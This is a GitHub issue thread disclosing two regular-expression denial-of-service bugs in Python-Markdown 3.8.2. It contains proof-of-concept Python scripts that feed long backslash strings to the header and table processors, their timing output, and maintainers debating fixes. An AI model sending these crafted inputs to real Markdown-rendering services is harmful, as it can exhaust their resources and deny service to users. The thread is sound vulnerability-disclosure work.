Markdown ReDoS bugs 3.8.2

[wadesparks]

Affected Code
https://github.com/Python-Markdown/markdown (pypi: https://pypi.org/project/Markdown/)

Issue
The vulnerabilities identified in the provided code snippet is a type of Regular Expression Denial of Service (ReDoS) attack. This issue arises when a piece of code utilizes regular expressions (regex) in a way that can be exploited to cause a significantly long processing time.

Impact
Resource exhaustion, leading to denial of service

Tested Version
3.8.2 (latest)

Credit
Sajeeb Lohani (Bugcrowd Security Innovation Lab)

Proof of Concept
There are actually two vulnerabilities here, so I believe there should be two CVEs.

# redos_utils.py
import time

def timer(func):
    def wrapper(*args, **kwargs):
        start_time = time.time()
        result = func(*args, **kwargs)
        end_time = time.time()
        elapsed_time = end_time - start_time
        print(f"Function '{func.__name__}' executed in {elapsed_time:.4f}s")
        return result

    return wrapper

def sizer(func):
    def wrapper(*args, **kwargs):
        result = func(*args, **kwargs)
        print(f"Payload length: {args[0]}\nPayload size: {len(result.encode()) / (1024 ** 2)} MB")
        return result

    return wrapper

# exploit_hash_header.py
from redos_utils import sizer, timer
import markdown


@sizer
def create_payload(char_length: int):
    # Create a payload that will trigger the ReDOS in HashHeaderProcessor
    # Pattern: (?:^|\n)(?P<level>#{1,6})(?P<header>(?:\\.|[^\\])*?)#*(?:\n|$)
    # The vulnerable part is (?:\\.|[^\\])*? - many backslashes followed by a non-matching character
    return "#" + "\\" * char_length + "X"


@timer
def redos_poc_runner(char_length: int):
    payload = create_payload(char_length)
    md = markdown.Markdown()
    md.convert(payload)


if __name__ == '__main__':
    print("Testing HashHeaderProcessor ReDOS vulnerability...")
    print("Pattern: (?:^|\\n)(?P<level>#{1,6})(?P<header>(?:\\\\.|[^\\\\])*?)#*(?:\\n|$)")
    print("Location: markdown/blockprocessors.py:461")
    print()
    redos_poc_runner(100)
    redos_poc_runner(1000)
    redos_poc_runner(2000)
    redos_poc_runner(5000)
    redos_poc_runner(10000)
    redos_poc_runner(20000)
    redos_poc_runner(30000)
    redos_poc_runner(50000)
    print()
    print("Final demonstration with 75000 characters (>2s delay):")
    redos_poc_runner(75000)

# exploit_table.py
from redos_utils import sizer, timer
import markdown


@sizer
def create_payload(char_length: int):
    # Create a payload that will trigger the ReDOS in TableProcessor
    # Pattern: (?<!\\)(?:\\)*\|$
    # The vulnerable part is (?:\\)* - many escaped backslashes
    return "\\" * char_length + "|"


@timer
def redos_poc_runner(char_length: int):
    payload = create_payload(char_length)
    md = markdown.Markdown(extensions=['tables'])
    md.convert(payload)


if __name__ == '__main__':
    print("Testing TableProcessor ReDOS vulnerability...")
    print("Pattern: (?<!\\\\)(?:\\\\)*\\|$")
    print("Location: markdown/extensions/tables.py:42")
    print()
    redos_poc_runner(100)
    redos_poc_runner(1000)
    redos_poc_runner(2000)
    redos_poc_runner(5000)
    redos_poc_runner(10000)
    redos_poc_runner(20000)
    redos_poc_runner(30000)
    print()
    print("Final demonstration with 35000 characters (>2s delay):")
    redos_poc_runner(35000)

[waylan]

The first issue (at markdown/blockprocessors.py:461) appears to have been introduced in #763 and the second (at markdown/extensions/tables.py:42) seems to have been introduced in #530. @facelessuser you committed those changes, albeit over 7 years ago. Do you have any thoughts. In both cases it's not clear to me why we need to match one or more (some variation of \\*). Why the need to match an endless string of backslashes? If I am understanding correctly, we can eliminate the reported issue if we can limit the number of consecutive backslashes matched.

[facelessuser]

So, this is properly processing escapes vs non-escapes in the given scenarios. If there is a better way, I'm open to it.

Granted, the escapes would be further processed normally, but you can the hashes getting preserved and not preserved.

[waylan]

It seems that the issue here is that there can be consecutive backslashes, some of which escape backslashes and the last of which may or may not escape the character that follows (| or # in the two examples). Whether the last backslash escapes the character that follows depends on whether there is an even or odd number of backslashes in total (if odd, the last backslash escapes the character that follows; if even, the last backslash is escaped by the proceeding backslash and has no effect in the character that follow). In other words, we do need to match all of the backslashes to determine if the last one is to have an effect on the character that follows.

As an aside, the remaining backslashes (the even pairs) are processed later by an inline processor. The only reason we are doing any backslash escape processing here is to account for escaped block-level tokens. We don't really care about the inline escapes. But we do need to ensure that a backslash actually applies to a block-level token before processing it.

So, the next question is, can we rewrite the existing expressions in a way that cannot be exploited to cause a significantly long processing time while maintaining the current behavior?

[waylan]

I suppose that a better first question is: does this apply to any character matched with zero-or-more (*)? If so, then this same exploit can be made with any number of characters and we would need to significantly rewrite the entire parser to avoid zero-or-more matches in regular expressions. If that is the case, then I expect that we will just leave things as-is. However, if this is unique to backslashes for some reason, then it may be worth exploring a resolution.

[facelessuser]

I'd have to take a closer look at the code and see if it can be refactored away. The backslashes need to be considered, but does it have to be done with regex? Maybe not, depending on the context of the code.

Are there more cases? Considering the parser is heavily regex-based, it would not surprise me, but maybe many cases can be reduced or given limits...

[wadesparks]

Thanks for analysis. Has there been any movement on a fix?

[facelessuser]

No, I haven't had time yet to investigate further.

[facelessuser]

So, when I run this, as it is currently configured:

Testing TableProcessor ReDOS vulnerability...
Pattern: (?<!\\)(?:\\\\)*\|$
Location: markdown/extensions/tables.py:42

Payload length: 100
Payload size: 9.632110595703125e-05 MB
Function 'redos_poc_runner' executed in 0.0199s
Payload length: 1000
Payload size: 0.0009546279907226562 MB
Function 'redos_poc_runner' executed in 0.0020s
Payload length: 2000
Payload size: 0.0019083023071289062 MB
Function 'redos_poc_runner' executed in 0.0047s
Payload length: 5000
Payload size: 0.004769325256347656 MB
Function 'redos_poc_runner' executed in 0.0193s
Payload length: 10000
Payload size: 0.009537696838378906 MB
Function 'redos_poc_runner' executed in 0.0593s
Payload length: 20000
Payload size: 0.019074440002441406 MB
Function 'redos_poc_runner' executed in 0.2090s
Payload length: 30000
Payload size: 0.028611183166503906 MB
Function 'redos_poc_runner' executed in 0.4555s

Final demonstration with 35000 characters (>2s delay):
Payload length: 35000
Payload size: 0.033379554748535156 MB
Function 'redos_poc_runner' executed in 0.6183s

When I limit it to from * to {,5}, I'm not seeing a significant difference. A difference, albeit a small one. I haven't tested the header one yet.

Testing TableProcessor ReDOS vulnerability...
Pattern: (?<!\\)(?:\\\\){,5}\|$
Location: markdown/extensions/tables.py:42

Payload length: 100
Payload size: 9.632110595703125e-05 MB
Function 'redos_poc_runner' executed in 0.0305s
Payload length: 1000
Payload size: 0.0009546279907226562 MB
Function 'redos_poc_runner' executed in 0.0019s
Payload length: 2000
Payload size: 0.0019083023071289062 MB
Function 'redos_poc_runner' executed in 0.0044s
Payload length: 5000
Payload size: 0.004769325256347656 MB
Function 'redos_poc_runner' executed in 0.0179s
Payload length: 10000
Payload size: 0.009537696838378906 MB
Function 'redos_poc_runner' executed in 0.0583s
Payload length: 20000
Payload size: 0.019074440002441406 MB
Function 'redos_poc_runner' executed in 0.2077s
Payload length: 30000
Payload size: 0.028611183166503906 MB
Function 'redos_poc_runner' executed in 0.4518s

Final demonstration with 35000 characters (>2s delay):
Payload length: 35000
Payload size: 0.033379554748535156 MB
Function 'redos_poc_runner' executed in 0.6142s

[facelessuser]

Even when I remove all the star slashes, it still doesn't drop that much:

Testing TableProcessor ReDOS vulnerability...
Pattern: (?<!\\)\|$
Location: markdown/extensions/tables.py:42

Payload length: 100
Payload size: 9.632110595703125e-05 MB
Function 'redos_poc_runner' executed in 0.0310s
Payload length: 1000
Payload size: 0.0009546279907226562 MB
Function 'redos_poc_runner' executed in 0.0018s
Payload length: 2000
Payload size: 0.0019083023071289062 MB
Function 'redos_poc_runner' executed in 0.0043s
Payload length: 5000
Payload size: 0.004769325256347656 MB
Function 'redos_poc_runner' executed in 0.0173s
Payload length: 10000
Payload size: 0.009537696838378906 MB
Function 'redos_poc_runner' executed in 0.0588s
Payload length: 20000
Payload size: 0.019074440002441406 MB
Function 'redos_poc_runner' executed in 0.2099s
Payload length: 30000
Payload size: 0.028611183166503906 MB
Function 'redos_poc_runner' executed in 0.4539s

Final demonstration with 35000 characters (>2s delay):
Payload length: 35000
Payload size: 0.033379554748535156 MB
Function 'redos_poc_runner' executed in 0.6136s

It seems this test is flawed anyway as it is also timing the creation of the giant string.

[facelessuser]

Even when restructuring to only time convert, it's about the same 🤷🏻.

[waylan]

Sorry, I'm not sure I follow. What is the same?

[facelessuser]

I didn't post the results, but I reworked the scripts to only time the conversion, not the creation of the strings and instantiation of the Markdown object, etc. The conversion is where the bulk of the time is spent. Regardless, simply limiting * to a specific number won't have a large enough difference. I will need to try some other approaches when I get some time.